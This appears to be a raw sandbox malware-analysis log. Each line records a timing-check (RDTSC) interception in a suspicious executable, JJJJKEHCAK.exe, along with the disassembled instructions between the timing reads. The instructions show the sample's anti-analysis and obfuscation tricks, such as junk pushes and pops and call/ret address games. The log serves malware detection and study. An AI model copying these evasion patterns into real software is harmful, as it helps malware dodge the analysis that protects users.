Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 20840F second address: 208479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 3B788F24h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FF3F8FBCCA8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 00000003h 0x0000002a call 00007FF3F8FBCCB0h 0x0000002f add ecx, dword ptr [ebp+122D2F24h] 0x00000035 pop ecx 0x00000036 push 00000000h 0x00000038 mov ch, 3Dh 0x0000003a push 00000003h 0x0000003c add si, 14CFh 0x00000041 push A62268A1h 0x00000046 push eax 0x00000047 push edx 0x00000048 je 00007FF3F8FBCCACh 0x0000004e jg 00007FF3F8FBCCA6h 0x00000054 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 208479 second address: 2084A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 19DD975Fh 0x00000011 mov dl, ch 0x00000013 lea ebx, dword ptr [ebp+1245D2B8h] 0x00000019 or ecx, 6C0EC5F2h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 js 00007FF3F8BEF696h 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2084A3 second address: 2084C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8FBCCB9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 208692 second address: 208740 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF3F8BEF6A6h 0x00000008 js 00007FF3F8BEF696h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xor dword ptr [esp], 348DC8B1h 0x00000018 pushad 0x00000019 xor cl, 00000069h 0x0000001c push edi 0x0000001d jmp 00007FF3F8BEF6A6h 0x00000022 pop ecx 0x00000023 popad 0x00000024 push 00000003h 0x00000026 jmp 00007FF3F8BEF6A7h 0x0000002b call 00007FF3F8BEF6A7h 0x00000030 pop esi 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D35F6h], edi 0x00000039 push 00000003h 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007FF3F8BEF698h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 0000001Ch 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 push A0C80761h 0x0000005a pushad 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 208740 second address: 2087A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8FBCCB2h 0x00000009 popad 0x0000000a jg 00007FF3F8FBCCACh 0x00000010 popad 0x00000011 add dword ptr [esp], 1F37F89Fh 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FF3F8FBCCA8h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 lea ebx, dword ptr [ebp+1245D2CCh] 0x00000038 jmp 00007FF3F8FBCCB3h 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2087A9 second address: 2087AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2087AE second address: 2087B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2087B8 second address: 2087D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22B427 second address: 22B42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22B42F second address: 22B439 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2292F0 second address: 2292F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22948D second address: 229499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF3F8BEF696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 229499 second address: 2294A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2294A2 second address: 2294A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 229605 second address: 22960B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22960B second address: 22963D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jno 00007FF3F8BEF696h 0x0000000d jnc 00007FF3F8BEF696h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FF3F8BEF6A9h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22963D second address: 229648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF3F8FBCCA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2297A3 second address: 2297BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 229905 second address: 229913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22A152 second address: 22A175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF3F8BEF696h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF3F8BEF6A6h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22A175 second address: 22A17B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22A2F6 second address: 22A316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF3F8BEF6A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22A316 second address: 22A31A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22A31A second address: 22A325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22A325 second address: 22A33A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8FBCCAFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 21D1A7 second address: 21D1AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 21D1AC second address: 21D1B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF3F8FBCCA6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 1F4EF5 second address: 1F4EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22AFFB second address: 22B001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22B001 second address: 22B005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22CB19 second address: 22CB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF3F8FBCCAAh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 22E1AB second address: 22E1BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007FF3F8BEF696h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 231918 second address: 23191D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 231A6B second address: 231A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 231A70 second address: 231A83 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF3F8FBCCA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 231A83 second address: 231A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2301C8 second address: 2301CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23092F second address: 230933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 231CA2 second address: 231CA8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 231CA8 second address: 231CAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 231CAD second address: 231CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FF3F8FBCCA8h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 1FF124 second address: 1FF140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF3F8BEF696h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3F8BEF69Eh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 1FF140 second address: 1FF14A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 239363 second address: 23936C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23936C second address: 239370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2386D5 second address: 2386DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2386DF second address: 2386F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FF3F8FBCCA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FF3F8FBCCAAh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 238A2A second address: 238A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FF3F8BEF6A9h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 238A58 second address: 238A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 238EFF second address: 238F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2391D7 second address: 2391DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2391DB second address: 2391E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2391E1 second address: 2391EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23A770 second address: 23A774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23A774 second address: 23A781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23AAAB second address: 23AAB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23AAB0 second address: 23AAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FF3F8FBCCA6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23AD80 second address: 23AD8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23B213 second address: 23B21D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23B21D second address: 23B238 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007FF3F8BEF69Ch 0x00000015 jo 00007FF3F8BEF696h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23B2B4 second address: 23B2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23B5DA second address: 23B5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23B788 second address: 23B793 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FF3F8FBCCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23B793 second address: 23B7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23B7A0 second address: 23B7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 240C78 second address: 240D09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FF3F8BEF698h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov esi, dword ptr [ebp+122D2C27h] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007FF3F8BEF698h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 sub si, 9827h 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push ebx 0x0000004e call 00007FF3F8BEF698h 0x00000053 pop ebx 0x00000054 mov dword ptr [esp+04h], ebx 0x00000058 add dword ptr [esp+04h], 00000015h 0x00000060 inc ebx 0x00000061 push ebx 0x00000062 ret 0x00000063 pop ebx 0x00000064 ret 0x00000065 mov esi, dword ptr [ebp+122D2C57h] 0x0000006b xchg eax, ebx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FF3F8BEF69Eh 0x00000073 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 240D09 second address: 240D31 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c je 00007FF3F8FBCCA6h 0x00000012 jmp 00007FF3F8FBCCB5h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 240D31 second address: 240D4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF3F8BEF6A8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2450E3 second address: 24510C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF3F8FBCCACh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24510C second address: 245119 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24561B second address: 24561F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24561F second address: 245629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FF3F8BEF696h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 245629 second address: 24562D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2475B5 second address: 2475BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2475BB second address: 2475C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2475C0 second address: 24760B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FF3F8BEF698h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov dword ptr [ebp+12479E91h], ebx 0x00000028 clc 0x00000029 push 00000000h 0x0000002b mov edi, dword ptr [ebp+122D1E02h] 0x00000031 mov edi, 53B13F11h 0x00000036 push 00000000h 0x00000038 mov edi, dword ptr [ebp+122D386Ch] 0x0000003e push eax 0x0000003f pushad 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2496D4 second address: 2496D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2496D8 second address: 2496FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jno 00007FF3F8BEF69Ch 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24A785 second address: 24A7A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
